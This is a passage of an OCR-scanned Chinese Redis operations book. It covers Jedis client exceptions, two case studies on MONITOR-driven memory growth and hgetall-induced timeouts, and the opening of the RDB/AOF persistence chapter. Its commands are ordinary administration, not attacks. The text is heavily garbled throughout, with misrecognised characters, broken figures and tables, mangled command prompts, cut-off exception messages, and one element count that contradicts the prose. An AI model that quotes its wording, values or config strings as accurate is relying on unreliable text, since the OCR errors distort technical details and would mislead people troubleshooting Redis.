3) client_biggest_input_buf 当前 所 有 输入 缓冲 区 中 占用 的 最 大 容量 。 


4) blocked_clients: 正在 执行 阻 军 命 令 ( 例 如 blpop、brpop、 
brpoplpush) 的 客户 端 个 数 。 


除 此 之 外 info stats 中 还 包含 了 两 个 客户 并 相关 的 统计 指标 ， 如 下 : 


127.0.0.1:6379> lnfo stats 





# Stats 
total connections received:80 


rejected connections:0 
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参数 说 明 : 


total connections received: Redis 目 启动 以 来 处 理 的 客户 端 连 接 数 总 
数 。 


rejected_connections: Redis 自 启动 以 来 拒绝 的 客户 端 连 接 数 ， 需 要 重点 


大 二 
监控 。 
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45 客户 曾 币 见 淹 审 


在 客户 端的 使 用 过 程 中 ， 无 论 是 客户 端 使 用 不 当 还 是 Redis 服 务 端 出 现 
问题 ， 客 户 端 会 反应 出 一 。 本 小 节 将 分 析 一 下 Jedis 使 用 过 程 中 常见 


1. 无 法 从 连接 池 获 取 到 连接 


JedisPool 中 的 Jedis 对 象 个 数 是 有 限 的 ， 默 认 是 8 个 。 这 里 假设 使 用 的 默 
认 配 置 ， 如 果 有 8 个 Jedis 对 象 被 占用 ， 并 且 没 有 归还 ， 此 时 调用 者 还 要 从 
JedisPool 中 借用 Jedis， 就 需要 进行 等 待 〈 例 如 设置 了 maxWaitMillis>0) ， 如 
果 在 maxWaitMillis 时 间 内 仍然 无 法 获取 到 Jedis 对 象 就 会 抛 出 如 下 异 常 








redis.clients.jedis.exceptions.JedisConnectionException: Could not get a resour 
from the pool 











Caused by: java.util.NoSuchElementException: Timeout waiting for idle object 
at org.apache.commons.pool1l2.impl.GenericObjectPool.borrowObject (GenericObje 
java:449) 








还 有 一 种 情况 ， 就 是 设置 了 blockWhenExhausted=false， 那 么 调用 者 发 现 
池子 中 没有 资源 时 ， 会 立即 抛 出 异常 不 进行 等 答 ， 下 面 的 异常 就 是 
blockWhenExhausted=false 时 的 效果 : 








redis.clients.jedis.exceptions.JedisConnectionException: Could not get a resour 
from the pool 











Caused by: java.util.NoSuchElementException: Pool exhausted 
at org.apache.commons.pool2.impl.GenericObjectPool.borrowObject (GenericObje 
java:464) 








对 于 这 个 问题 ， 需 要 重点 讨论 的 是 为 什么 连接 池 没 有 资源 了 ， 造 成 没有 
资源 的 原因 非常 多 ， 可 能 如 下 : 
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客户 端 : 高 并 发 下 连接 池 设 置 过 小 ， 出 现 供不应求 ， 所 以 会 出 现 上 面 
的 错误 ， 但 是 正常 情况 下 只 要 比 默认 的 最 大 连接 数 (8 个 ) 多 一 些 即 可 ， 因 
为 正常 情况 下 JedisPool 以 及 Jedis 的 处 理 效 率 足 够 高 。 


客户 端 : 没有 正确 使 用 连接 池 ， 比 如 没有 进行 释放 ， 例 如 下 面 代码 所 


小。 


定义 JedisPool， 使 用 默认 的 连接 池 配 置 : 





GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig(); 
JedisPool jedisPool = new JedisPool (poolConfig, "127.0.0.1", 6379); 

















像 JedisPool 借 用 8 次 连接 ， 但 是 没有 执行 归还 操作 : 





for (int i = 0; i < 8; i++) { 
Jedis jedis = null; 
ty 装 
jedis = jedisPool.getResource (); 
jedis.ping(); 
} catch (Exception e) { 
e.printStackTrace (); 








} 





当 调 用 者 再 向 连接 池 借 用 Jedis 时 〈 如 下 操作 ) ， 就 会 抛 出 异 





jedisPool.getResource() .ping(); 








客户 痢 : 存在 慢 查 询 操 作 ， 这 些 慢 查询 持 有 的 Jedis 对 象 归 还 速度 会 比 
较 慢 ， 造 成 池子 满 了 。 





.服务 端 : 客户 端 是 正常 的 ， 但 是 Redis 服 务 端 由 于 一 些 原 因 造 成 了 客户 
端 命令 执行 过 程 的 阻塞 ， 也 会 使 得 客户 端 抛 出 这 种 异 
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可 以 看 到 造成 这 个 异常 的 原因 古 多 个 方面 的 ， 不 要 被 异常 的 表象 所 迷 
惑 ， 而 且 并 不 存在 万 能 钥匙 解决 所 有 问题 ， 开 发 和 运 维 只 能 不 断 加 强 对 于 
Redis 的 理解 ， 顺 滕 摸 瓜 逐渐 找到 问题 所 在 。 


2 客户 端 读 写 超时 


Jedis 在 调用 Redis 时 ， 如 果 出 现 了 读 写 超时 后 ， 会 出 现下 面 的 异常 : 








redis.clients.jedis.exceptions.JedisConnectionException: 
java.net.SocketTimeoutException: Read timeqd out 














造成 该 异常 的 原因 也 有 以 下 几 种 : 


. 读 写 超时 间 设 置 得 过 短 。 





:命令 本 号 束 比较 慢 。 


客户 站 与 服务 端 网 络 不 下 第。 


.Redis 上 自身 发 生 阻 塞 。 





3. 客 户 端 连接 超时 


Jedis 在 调用 Redis 时 ， 如 果 出 现 了 连接 超时 后 ， 会 出 现下 面 的 异常 : 








redis.clients.jedis.exceptions.JedisConnectionException: 
java.net.SocketTimeoutException: connect timed out 














造成 该 寞 第 的 原因 也 有 以 下 几 种 : 





1) 连接 超时 设置 得 过 短 ， 可 以 通过 下 面 代码 进行 设置 : 
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// 毫秒 
jedis.getClient() .setConnectionTimeout (time); 





2) Redis 发 生 阻 塞 ， 造 成 trp-backlog 已 满 ， 造 成 新 的 连接 失败 。 
3) 客户 端 与 服务 端 网 络 不 正常 。 
4. 客 户 端 缓冲 区 异常 


Jedis 在 调用 Redis 时 ， 如 有 果 出 现 客户 端 数据 流 异 毅 ， 会 出 现下 面 的 异 


第 : 








redis.clients.jedis.exceptions.JedisConnectionException: Unexpected end of stre 











造成 这 个 寞 第 的 原因 可 能 有 如 下 几 种 : 


1) 输出 缓冲 区 满 。 例 如 将 普通 客户 端的 输出 缓冲 区 设置 为 IM1M60: 





config set client-output-buffer-limit "normal 1048576 1048576 60 slave 26843545 
67108864 60 pubsub 33554432 8388608 60" 





如 果 使 用 get 命 令 获 取 一 个 bigkey (例如 3M) ， 就 会 出 现 这 个 异常 。 


2) 长 时 间 闲 置 连 接 被 服务 端 主 动 断 开 ， 上 市 已 经 详细 分 析 了 这 个 问 


3) 不 正常 并 发 读 写 : Jedis 对 象 同 时 被 多 个 线程 并 发 操作 ， 可 能 会 出 现 


上 述 异 常 。 
5.Lua 脚 本 正在 执行 
如 果 Redis 当 前 正在 执行 Lua 脚 本 ， 并 且 超 过 了 lua-time-limit， 此 时 Jedis 
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调用 Redis 时 ， 会 收 到 下 面 的 异常 。 对 于 如 何 处 理 这 类 问题 ， 在 第 3 章 Lua 的 
小 节 已 经 进行 了 介绍 ， 这 里 就 不 再 歼 述 。 








redis.clients.jedis.exceptions.JedisDataException: BUSY Redis is busy running a 
script. You can only call SCRIPT KILL or SHUTDOWN NOSAVE. 














6.Redis 正 在 加 载 持 久 化 文件 


Jedis 调 用 Redis 时 ， 如 果 Redis 正 在 加 载 持 久 化 文件 ， 那 么 会 收 到 下 面 的 


已 
开 吊 : 








redis.clients.jedis.exceptions.JedisDataException: LOADING Redis is loading the 
dataset in memory 











7.Redis 使 用 的 内 存 超 过 maxmemory 配 置 


Jedis 执 行 写 操作 时 ， 如 果 Redis 的 使 用 内 存 大 于 maxmemory 的 设置 ， 会 
收 到 下 面 的 异常 ， 此 时 应 该 调整 maxmemory 并 找到 造成 内 存 增长 的 原因 : 








redis.clients.jedis.exceptions.JedisDataException: OOM command not allowed when 
used memory > "maxmemory ' . 











8. 客 户 端 连接 数 过 大 


如 果 客 户 端 连接 数 超过 了 maxclients， 新 申请 的 连接 就 会 出 现 如 下 异 


第 : 











redis.clients.jedis.exceptions.JedisDataException: ERR max number of clients re 











此 时 新 的 客户 器 连接 执行 任何 命令 ， 返 回 结果 都 是 如 下 : 
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127.0.0.1:6379> get hello 
(error) ERR max number of clients reached 








这 个 问题 可 能 会 比较 棘手 ， 因 为 此 时 无 法 执行 Redis 命 令 进行 问题 修 
复 ， 一 般 来 说 可 以 从 两 个 方面 进行 着 手 解决 : 


客户 靖 : 如 果 maxclients 参 数 不 是 很 小 的 话 ， 应 用 方 的 客户 端 连接 数 基 
本 不 会 超过 maxclients， 通 名 来 看 是 由 于 应 用 方 对 于 Redis 客 户 端 使 用 不 当 造 
成 的 。 此 时 如 果 应 用 方 是 分 布 式 结构 的 话 ， 可 以 通过 下 线 部 分 应 用 节点 〈 例 
如 占用 连接 较 多 的 节点 ) ， 使 得 Redis 的 连接 数 先 降 下 来 。 从 而 让 绝 大 部 分 
节点 可 以 正常 运行 ， 此 时 再 通过 查找 程序 bug 或 者 调整 maxclients 进 行 问题 的 
修复 。 

















:服务 端 : 如 果 此 时 客户 端 无 法 处 理 ， 而 当前 Redis 为 高 可 用 模式 〈 例 如 
Redis Sentinel 和 Redis Cluster) ， 可 以 考虑 将 当前 Redis 做 故障 转移 。 


此 问题 不 存在 确定 的 解决 方式 ， 但 是 无 论 从 哪个 方面 进行 处 理 ， 故 障 的 
快速 恢复 极为 重要 ， 当 然 更 为 重要 的 是 找到 问题 的 所 在 ， 否 则 一 段 时 间 后 客 
户 端 连 接 数 依然 会 超过 maxclients 。 





308 


4.6 ”客户 问 案例 分 析 


到 目前 为 止 ， 有 关 Redis 客 户 端 的 相关 知识 基本 已 经 介绍 完毕 ， 本 忆 将 
通过 Redis 开 发 运 维 中 遇 到 的 两 个 案例 分 析 ， 让 读者 加 深 对 于 Redis 客 户 端 相 
天 知识 的 理解 。 
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4.6.1 Redis 内 存 陡 增 
1. 现 象 


服务 闹 现 象 ; Redis 主 节点 内 存 陡 增 ， 几 乎 用 满 maxmemory， 而 从 节点 
内 存 并 没有 变化 (第 5 章 将 介绍 Redis 复 制 的 相关 知识 ， 这 里 只 需要 知道 正常 
情况 下 主 从 节点 内 存 使 用 量 基 本 相同 ) ， 如 图 4-13 所 示 。 


复制 
使 用 内 在 4G 十 一 
使 用 和 内存: 2G 
也 节点 


过 | vv 从 节 这 


maxmemorvy:4( 
maxmemory:4( 


图 4-13 ” 主 从 节点 内 存 不 一 致 ， 主 节点 内 存 陡 增 





客户 端 现象 : 客户 端 产生 了 OOM 有 异常， 也 就 是 Redis 主 市 点 使 用 的 内 存 
己 经 超过 了 maxmemory 的 设置 ， 无 法 写 入 新 的 数据 : 








redis.clients.jedis.exceptions.JedisData 
used memory > "maxmemory' 





Exception: OOM command not allowed when 








2. 分 析 原 因 
从 现象 看 ， 可 能 的 原因 有 两 个 。 
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1) 确实 有 大 量 写 入 ， 但 是 主 从 复制 出 现 问 题 : 查询 了 Redis 复 制 的 相关 
言 轧 ， 复 制定 正 帝 的 ， 主 从 数据 基本 一 致 。 














主 节 点 的 键 个 数 : 





L273 005 L203.9> dbsize 
(integer) 2126870 





从 节点 的 键 个 数 : 





二 0 作证 号 8O 交 各 所 总 于 2 
(integer) 2126870 








) 其 他 原因 造成 主 节点 内 存 使 用 过 大 : 排查 是 否 由 客户 端 缓冲 区 造成 
点 内 存 陡 增 ， 使 用 info clients 命 令 查 询 相 关 信 息 如 下 : 





E27 .00 L039 Lntfo, CILEents 
# Clients 

connected clients:1891 
client longest output list:225698 
client biggest input buf:0 
blocked clients:0 














很 明显 输出 缓冲 区 不 太 正 常 ， 最 大 的 客户 端 输出 缓冲 区 队列 已 经 超过 了 
20 万 个 对 象 ， 于 是 需要 通过 client list 命 令 找 到 omem 不 正常 的 连接 ， 一 般 来 
说 大 部 分 客户 端的 omem 为 0《〈 因 为 处 理 速度 会 足够 快 ) ， 于 是 执行 如 下 代 
码 ， 找 到 omem 非 零 的 客户 端 连 接 : 








redis-cli client list | grep -Vv "omem=0" 











找到 了 如 下 一 条 记录 : 








id=7 addr=10.10.xx.78:56358 fdq=6 name= age=91 idle=0 flags=O db=0 sub=0 psub=0 
multi=-1 qbuf=0 qbuf-fr 0 obl=0 ol1=224869 omem=2129300608 events=rw cmg=) 
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已经 很 明显 是 因为 有 客户 端 在 执行 monitor 命 令 造成 的 。 


3. 处 理 方法 和 后 期 处 理 


对 这 个 问题 处 理 的 方法 相对 简单 ， 只 要 使 用 client kill 命 令 杀 掉 这 个 连 
接 ， 让 其 他 客户 端 恢复 正常 写 数据 即 可 。 但 是 更 为 重要 的 是 在 日 后 如 何 及 时 
发 现 和 避免 这 种 问题 的 发 生 ， 基 本 有 三 点 : 








.从 运 维 层面 禁止 monitor 命 令 ， 例 如 使 用 rename-command 命 令 重 置 
monitor 命 令 为 一 个 随机 字符 串 ， 除 此 之 外 ， 如 果 monitor 没 有 做 rename- 
command， 也 可 以 对 monitor 命 令 进行 相应 的 监控 (例如 client list) 。 


:从 开 友 层面 进行 培训 ， 禁 止 在 生产 环境 中 使 用 monitor 命 令 ， 因 为 有 时 
候 monitor 命 令 在 测试 的 时 候 还 是 比较 有 用 的 ， 完 全 禁止 也 不 太 现实 。 


限制 输出 缓冲 区 的 大 小 。 


.使 用 专业 的 Redis 运 维 工 具 ， 例 如 13 章 会 介绍 CacheCloud， 上述 问题 在 
Cachecloud 中 会 收 到 相应 的 报警 ， 快 速 发 现 和 定位 问题 。 
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4.6.2 ”客户 端 周 期 性 的 超时 


1. 现 象 


客户 端 现 象 ; 客户 并 出 现 大 量 超时 ， 经 过 分 析 发 现 超时 是 周期 性 出 现 
的 ， 这 为 问题 的 查找 提供 了 重要 依据 : 











Caused by: redis.clients.jedis.exceptions.JedisConnectionException: java.net. 
SocketTimeoutException: connect timed out 











服务 端 现 象 . 服务 端 并 没有 明显 的 异常 ， 只 是 有 一 些 慢 查询 操作 。 


2. 分 析 


网 络 原因 : 服务 端 和 客户 端 之 间 的 网 络 出 现 周期 性 问题 ， 经 过 观察 网 
络 是 正常 的 。 


:Redis 本 身 : 经 过 观察 Redis 日 志 统 计 ， 并 没有 发 现 异常 。 





客户 端 : 由 于 是 周期 性 出 现 问题 ， 就 和 慢 碍 询 日 志 的 历史 记录 对 应 了 
一 下 时 间 ， 发 现 只 要 慢 碍 询 出 现 ， 客 户 端 就 会 产生 大 量 连接 超时 ， 两 个 时 间 
点 基本 一 致 〈 如 表 4-6 和 图 4-14 所 示 ) 。 











表 4-6 人 慢 查 询 











序号 命令 时 间 点 
1 ser fan hset sort 2016-08-25 03:00:00 
六 1G ser fan hset sort 2016-08-25 03:05:00 
3 TALL user fan hset sort 2016-08-25 03:10:00 
4 [ALL user fan hset sort 2016-08-25 03:15:00 
5 [TALL user fan hset sort 2016-08-25 03:20:00 
6 [ALLUser fan hset sort 2016-08-25 03:25:00 
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Get 命令 - 客户 端 耗 时 统计 = 


1 500 
全 
山 ( 000 | 
500 | 


0 .| Fy 2 T 
D2:557 "OS:00 -03:05. .023230020L9S25 O30 LU3 35 "QA0 03 O50 9355 O400 0 的 
[一 平均 值 一 中 位 值 一 90% 最 大 值 一 99% 最 大 值 一 最 大 值 | 





Reset zoom 














图 4-14 客户 端 耗 时 统计 





最 终 找 到 问题 是 慢 碍 询 操作 造成 的 ， 通 过 执行 en 发 现 有 200 万 个 元 
素 ， 这 种 操作 必然 会 造成 Redis 阻 塞 ， 通 过 与 应 用 方 沟通 了 解 到 他 们 有 个 定 
时 任务 ， 每 5 分 钟 执行 一 次 hgetall 操 作 。 





127.0.0.1:6399> hlen user fan hset sort 
(integer) 2883279 





以 上 问题 之 所 以 能 够 快速 定位 ， 得 益 于 使 用 客户 端 监控 工具 把 一 些 统计 
数据 收集 上 来 ， 这 样 能 更 加 直观 地 发 现 问 题 ， 如 果 Redis 是 黑 盒 运行 ， 相 信 
很 难 快 速 找到 这 个 问题 。 处 理 线 上 问题 的 速度 非常 重要 。 


3. 处 理 方法 和 后 期 处 理 


这 个 问题 处 理 方法 相对 简单 ， 只 需要 业务 方 及 时 处 理 自己 的 慢 但 询 即 
可 ， 但 是 更 为 重要 的 是 在 日 后 如 何 及 时 发 现 和 避免 这 种 问题 的 发 生 ， 基 本 有 
三 点 : 


:从 运 维 屋面， 监控 慢 但 询 ， 一 旦 超过 阀 值 ， 束 及 出 报警。 


` 从 开发 层面 ， 加 强 对 于 Redis 的 理解 ， 避 免 不 正 确 的 使 用 方式 。 
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:使 用 专业 的 Redis 运 维 工具 ， 例 如 13 章 会 介绍 CacheCloud， 上 述 问题 在 
CacheCloud 中 会 收 到 相应 的 报警 ， 快 速 发 现 和 定位 问题 。 
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4.7 本章 重点 回顾 


1) RESP (Redis Serialization Protocol Redis) 保证 客户 端 与 服务 端的 正 
策 通 信 ， 是 各 种 编程 语言 开发 客户 端的 基础 。 





2) 要 选择 社区 活跃 客户 首 ， 在 实际 项 目 中 使 用 稳定 版 本 的 客户 端 


3) 区 分 Jedis 直 连 和 连接 池 的 区 别 ， 在 生产 环境 中 ， 应 该 使 用 连接 池 。 





4) Jedis.close〈) 在 直 连 下 是 关闭 连接 ， 在 连接 池 则 是 归还 连接 。 
5) Jedis 客 户 端 没有 内 置 序列 化 ， 需 要 目 己 选用 。 


6) 客户 并 输入 绥 冲 区 不 能 配置 ， 强 制 限制 在 1G 之 内 ， 但 是 不 会 受到 
maxmemory 限 制 | 。 

7) 客户 端 输出 组 名 区 文 持 普 通 客户 端 、 发 布 订 阅 客 户 端 、 复 制 客 户 端 
配置 ， 同 样 会 受到 maxmemory 限 制 。 


8) Redis 的 timeout 配 置 可 以 自动 关闭 闲置 客户 端 ，tcp-keepalive 参 数 可 
以 周期 性 检查 关闭 无 效 TCP 连 接 





9) monitor 命 令 虽 然 好 用 ,但 是 在 大 并 发 下 存在 输出 缓冲 区 骏 涨 的 可 能 


10) info clients 帮 助 开发 和 运 维 人 员 找 到 客户 端 可 能 存在 的 问题 。 


11) 理解 Redis 通 信 原 理 和 建立 完善 的 监控 系统 对 快速 定位 解决 客户 端 
常见 问题 非常 有 帮助 。 
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第 $ 章 ”持久 化 


Redis 文 持 RDB 和 AOF 两 种 持久 化 机 制 ， 持 入 化 功能 有 效 地 避免 因 进 程 
退出 造成 的 数据 丢失 问题 ， 当 下 次 重启 时 利用 之 前 持久 化 的 文件 即 可 实现 数 
据 恢 复 。 理 解 掌握 持久 化 机 制 对 于 Redis 运 维 非常 重要 。 本 章 内 容 如 下 : 


首先 介绍 RDB、AOF 的 配置 和 运行 流程 ， 以 及 控制 持久 化 的 相关 命 


令 ， 如 bgsave 和 bgrewriteaof。 
:其 次 对 常见 持久 化 问题 进行 分 析 定 位 和 优化 。 


最 后 结合 Redis 和 常见 的 单机 多 实例 部 绪 场 景 进行 优化 。 
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5.] RDB 


RDB 持 久 化 古 把 当前 进程 数据 生成 快照 保存 到 人 硬盘 的 过 程 ， 触 发 RDB 持 
入 化 过 程 分 为 手动 触发 和 自动 触发 。 
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5.1.1 触发 机 制 


手动 触发 分 别 对 应 save 和 bgsave 命 令 : 


save 命 令 ; 阻塞 当前 Redis 服 务 器 ， 直 到 RDB 过 程 完 成 为 止 ， 对 于 内 存 
比较 大 的 实例 会 造成 长 时 间 阻 塞 ， 线 上 环境 不 建议 使 用 。 运 行 save 命 令 对 应 
的 Redis 日 志 如 下 : 








* DB saved on disk 





:bgsave 命 令 : Redis 进 程 执行 fork 操 作 创 建 子 进程 ，RDB 持 久 化 过 程 由 子 
进程 负责 ， 完 成 后 自动 结束 。 阻 塞 只 发 生 在 fork 阶 段 ， 一 般 时 间 很 得。 运行 
bgsave 命 令 对 应 的 Redis 日 志 如 下 : 














* Background Saving started by pid 3151 

* DB saved on disk 

* RDB: 0 MB of memory used by copy-on-write 
* Background saving terminated with success 





显然 bgsave 命 令 是 针对 save 阻 塞 问题 做 的 优化 。 因 此 Redis 内 部 所 有 的 涉 
及 RDB 的 操作 都 采用 bgsave 的 方式 ， 而 save 命 令 已 经 废弃 。 





除了 执行 命令 手动 触发 之 外 ，Redis 内 部 还 存在 自动 触发 RDB 的 持久 化 
机 制 ， 例 如 以 下 场景 : 


1) 使 用 save 相 关 配 置 ， 如 “save mn”。 表 示 m 秒 内 数据 集 存在 n 次 修改 
时 ， 上 自动 触发 bgsave。 





2) 如 果 从 节点 执行 全 量 复制 操作 ， 主 市 反目 动 执行 bgsave 生 成 RDB 文 
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件 并 发 送 给 从 节点 ， 更 多 细节 见 6.3 节 介绍 的 复制 原理 。 
3) 执行 debug reload 命 令 重 新 加 载 Redis 时 ， 也 会 自动 触发 save 操作 。 


4) 默认 情况 下 执行 shutdown 命 令 时 ， 如 果 没 有 开启 AOF 持 久 化 功能 则 
目 动 执行 bgsave。 


320 


$.1.2 ”流程 说 明 





bgsave 是 主流 的 触发 RDB 持 和 久 化 方式 ， 下 面 根据 图 5-1 了 解 它 的 运作 流 


一 一 
| bgs ave | 


1) 


ja 


在 执行 ， 直接 返回 父 进 考 














1) 执行 bgsave 命 令 ，Redis 父 进程 判断 当前 是 否 存 在 正在 执行 的 子 进 
程 ， 如 RDB/AOF 子 进程 ， 如 果 存 在 bgsave 命 令 直 接 返 回 。 


2) 父 进 程 执行 fork 操 作 创 建 子 进程 ，fork 操 作 过 程 中 父 进程 会 阻塞 ， 通 
过 info stats 命 令 查 看 latest fork_ usec 选 项 
时 ， 单 位 为 微 秒 。 


， 可 以 获取 最 近 一 个 fork 操 作 的 耗 


321 





3) 父 进程 fork 完 成 后 ，bgsave 命 令 返 回 “Background saving started” 信 息 
并 不 再 阻 窄 父 进程 ， 可 以 继续 响应 其 他 命令 。 


4) 子 进程 创建 RDB 文 件 ， 根 据 父 进程 内 存 生成 临时 快照 文件 ， 完 成 后 
对 原 有 文件 进行 原子 蔡 换 。 执 行 ljastsave 命 令 可 以 获取 最 后 一 次 生成 RDB 的 
时 间 ， 对 应 info 统 计 的 rdb_last_save_time 选 项 。 

5) 进程 发 送信 号 给 父 进程 表示 完成 ， 父 进程 更 新 统计 信息 ， 上 有 具体 见 
info Persistence 下 的 rdb * 相 关 选 项 。 
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$.1.3 RDB 文件 的 处 理 


保存 : RDB 文 件 保存 在 dir 配 置 指定 的 目录 下 ， 文 件 名 通过 dbfilename 配 
置 指定 。 可 以 通过 执行 config set dir {newDir} 和 config set 
dbfilename {newFileName} 运行 期 动态 执行 ， 当 下 次 运行 时 RDB 文 件 会 保存 到 
新 目录 。 


© nn 


当 遇 到 坏 盘 或 磁盘 写 满 等 情况 时 ， 可 以 通过 config set dir{newDir} 在 线 
修改 文件 路 径 到 可 用 的 磁盘 路 径 ， 之 后 执行 bgsave 进 行 磁 盘 切 换 ， 同 样 适用 
于 AOF 持 久 化 文件 。 


压缩 : Redis 默 认 采 用 LZF 算 法 对 生成 的 RDB 文 件 做 压缩 处 理 ， 压 缩 后 的 
文件 远 远 小 于 内 存 大 小 ， 默 认 开 启 ， 可 以 通过 参数 config set 


rdbcompression{yeslno} 动态 修改 。 


© nn 


虽然 压缩 RDB 会 消耗 CPU， 但 可 大 幅 降 低 文 件 的 体积 ， 方 便 保存 到 硬盘 
或 通过 网 络 发 送 给 从 节点 ， 因 此 线 上 建议 开局 。 





校 验 : 如 果 Redis 加 载 损坏 的 RDB 文 件 时 拒绝 局 动 ， 并 打印 如 下 日 志 : 


# Short read or OOM loading DB. Unrecoverable error, aborting now. 


这 时 可 以 使 用 Redis 提 供 的 redis-check-dump 工 具 检测 RDB 文 件 并 获取 对 
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应 的 错误 报告 。 
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$.1.4 RDB 的 优 缺 点 


RDB 的 优点 : 

:RDB 是 一 个 紧凑 压缩 的 三 进 制 文件 ， 代 表 Redis 在 某 个 时 间 点 上 的 数据 
快照 。 非 常 适用 于 备份 ， 全 量 复制 等 场景 。 比 如 每 6 小 时 执行 bgsave 备 份 ， 
并 把 RDB 文 件 拷贝 到 远程 机 器 或 者 文件 系统 中 《〈 如 hdG) ， 用 于 灾难 恢复 。 





.Redis 加 载 RDB 恢 复数 据 远 远 快 于 AOFE 的 方式 。 
RDB 的 缺点 : 


:RDB 方式 数据 没 办 法 做 到 实时 持久 化 / 秒 级 持久 化 。 因 为 bgsave 每 次 运 
行 都 要 执行 fork 操 作 创 建 子 进程 ， 属 于 重量 级 操作 ， 频 繁 执行 成 本 过 高 。 





.RDB 文件 使 用 特定 二 进 制 格式 保存 ，Redis 版 本 演进 过 程 中 有 多 个 格式 
的 RDB 版 本 ， 存 在 老 版 本 Redis 服 务 无 法 兼容 新 版 RDB 格 式 的 问题 。 


针对 RDB 不 适合 实时 持久 化 的 问题 ，Redis 提 供 了 AOF 持 久 化 方式 来 解 
决 。 
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5.2 AOF 











AOF (append onlyfile) 持久 化 : 以 独立 日 志 的 方式 记录 每 次 写 命令 ， 
重启 时 再 重新 执行 AOF 文 件 中 的 命令 达到 恢复 数据 的 目的 。AOF 的 主要 作用 
是 解决 了 数据 持久 化 的 实时 性 ， 目 前 已 经 是 Redis 持 久 化 的 主流 方式 。 理 解 
掌握 好 AOF 持 久 化 机 制 对 我 们 兼顾 数据 安全 性 和 性 能 非常 有 帮助 。 
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5.2.1 使 用 AOF 


开启 AOF 功 能 需要 设置 配置 appendonly yes， 默 认 不 开启 。AOF 文 件 名 
通过 appendfilename 配 置 设置 ， 默 认 文件 名 是 appendonlyaof。 保 存 路 径 同 
RDB 持 和 久 化 方式 一 致 ， 通 过 dir 配 置 指定 。AOF 的 工作 流程 操作 : 命令 写 入 
Cappend) 、 文 件 同步 〈sync) 、 文 件 重 写 〈rewrite) 、 重 启 加 载 
(load) ， 如 图 5-2 所 示 。 


Pa 
“一 
Ne 
pod 
六 


| AoFx 件 AOF 文件 一 







3 ) rewrite 


4) load 


Ce 
图 5-2 AOF 工 作 流程 


流程 如 下 : 
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1) 所 有 的 写 入 命令 会 追加 到 aof buf (缓冲 区 ) 中 。 
2) AOF 绥 冲 区 根据 对 应 的 策略 向 硬盘 做 同步 操作 。 


3) 随 着 AOF 文 件 越 来 越 大 ， 需 要 定期 对 AOF 文 件 进行 重 写 ， 达 到 压缩 
的 目的 。 


4) 当 Redis 服 务 器 重启 时 ， 可 以 加 载 AOF 文 件 进行 数据 恢复 。 


了 解 AOF 工 作 流 程 之 后 ， 下 面 针 对 每 个 步骤 做 详细 介绍 。 
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$.2.2 ”命令 写 入 





AOF 命 令 写 入 的 内 容 直接 是 文本 协议 格式 。 例 如 set hello world 这 条 命 
令 ， 在 AOF 组 冲 区 会 退 加 如 下 文本 : 





*3\r\n$3\r\nset\r\n$5\r\nhello\r\n$5\r\nworld\r\n 


Redis 协 议 格 式 具 体 说 明 见 4.1 客 户 端 协议 小 节 ， 这 里 不 再 资 述 ， 下 面 介 
绍 关 于 AOF 的 两 个 疑惑 : 








1) AOF 为 什么 直接 采用 文本 协议 格式 ?可 能 的 理由 如 下 : 





文本 协议 具有 很 好 的 兼容 性 。 


.开启 AOF 后 ， 所 有 写 入 命令 都 包含 退 加 操作 ， 直 接 采 用 协议 格式 ， 避 
免 了 二 次 处 理 开 销 。 

:文本 协议 具有 可 读 性 ， 方 便 直 接 修改 和 处 理 。 

2) AOF 为 什么 把 命令 追加 到 aof buf 中 ?Redis 使 用 单线 程 啊 应 命令 ， 如 
果 每 次 写 AOF 文 件 命 令 都 直接 妃 加 到 人 硬盘， 那么 性 能 完全 取决 于 当前 硬盘 负 


载 。 先 写 入 缓冲 区 aof buf 中 ， 还 有 男 一 个 好 处 ，Redis 可 以 提供 多 种 缓冲 区 
同步 硬盘 的 策略 ， 在 性 能 和 安全 性 方面 做 出 平衡 。 
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$.2.3 ”文件 同步 


Redis 提 供 了 多 种 AOF 绥 冲 区 同步 文件 策略 ， 由 参数 appendfsync 控 制 ， 
不 同 值 的 含义 如 表 S$-1 上 所 示 。 


表 5-1 _ AOF 绥 冲 区 同步 文件 策略 


可 配置 什 说 明 
always 命令 写 人 aof_buf 后 调用 系统 fsync 操作 同步 到 AOF 文件 ，fsync 完成 后 线程 返回 
命令 写 人 aof_buf 后 调用 系统 write 操作 ，write 完成 后 线程 返回 。fsync 同步 文件 
操作 由 专门 线程 每 秒 调用 一 次 
命令 写 人 aof_buf 后 调用 系统 write 操作 ， 不 对 AOF 文件 做 fsync 同步 ， 同 步 硬盘 
操作 由 操作 系统 负责 ， 通 常 同步 周期 最 长 30 秒 


eVerysec 


系统 调用 write 和 fsync 说 明 : 


-write 操 作 会 触发 延迟 写 (delayed write) 机 制 。Linux 在 内 核 提 供 页 组 
冲 区 用 来 提高 硬盘 IO 性 能 。write 操 作 在 写 入 系统 缓冲 区 后 直接 返回 。 同 步 
硬盘 操作 依赖 于 系统 调度 机 制 ， 例 如 : 缓冲 区 页 空间 写 满 或 达到 特定 时 间 周 
期 。 同 步 文 件 之 前 ， 如 果 此 时 系统 故障 宕 机 ， 组 冲 区 内 数据 将 丢失 。 





:fsync 针 对 单个 文件 操作 (比如 AOF 文 件 ) ， 做 强制 硬盘 同步 ，fsync 将 
阻塞 直到 写 入 硬盘 完成 后 返回 ， 保 证 了 数据 持久 化 。 





除了 write、fsync，Linux 还 提供 了 sync、fdatasync 操 作 ， 具 体 API 说 明 参 


见 : http://linux.die.net/man/2/write，http://linux.die.net/man/2/fsync, http://linux. 


:配置 为 always 时 ， 每 次 写 入 都 要 同步 AOF 文 件 ， 在 一 般 的 SATA 人 硬盘 
上 ，Redis 只 能 支持 大 约 几 百 TPS 写 入 ， 显 然 跟 Redis 高 性 能 特性 背道而驰 ， 
不 建议 配置 。 
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配置 为 no， 由 于 操作 系统 每 次 同步 AOF 文 件 的 周期 不 可 控 ， 而 且 会 加 
大 每 次 同步 硬盘 的 数据 量 ， 虽 然 担 升 了 性 能 ， 但 数据 安全 性 无 法 保证 。 


:配置 为 everysec， 是 建议 的 同步 策略 ， 也 是 默认 配置 ， 做 到 兼顾 性 能 和 
数据 安全 性 。 理 论 上 只 有 在 系统 突然 宕 机 的 情况 下 丢失 1 秒 的 数据 。“〈 严 格 
来 说 最 多 丢失 1 秒 数据 是 不 准确 的 ，$.3 节 会 做 具体 介绍 到 。 ) 
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5.2.4 重 写 机 制 


随 着 命令 不 断 写 入 AOF， 文 件 会 越 来 越 大 ， 为 了 解决 这 个 问题 ，Redis 
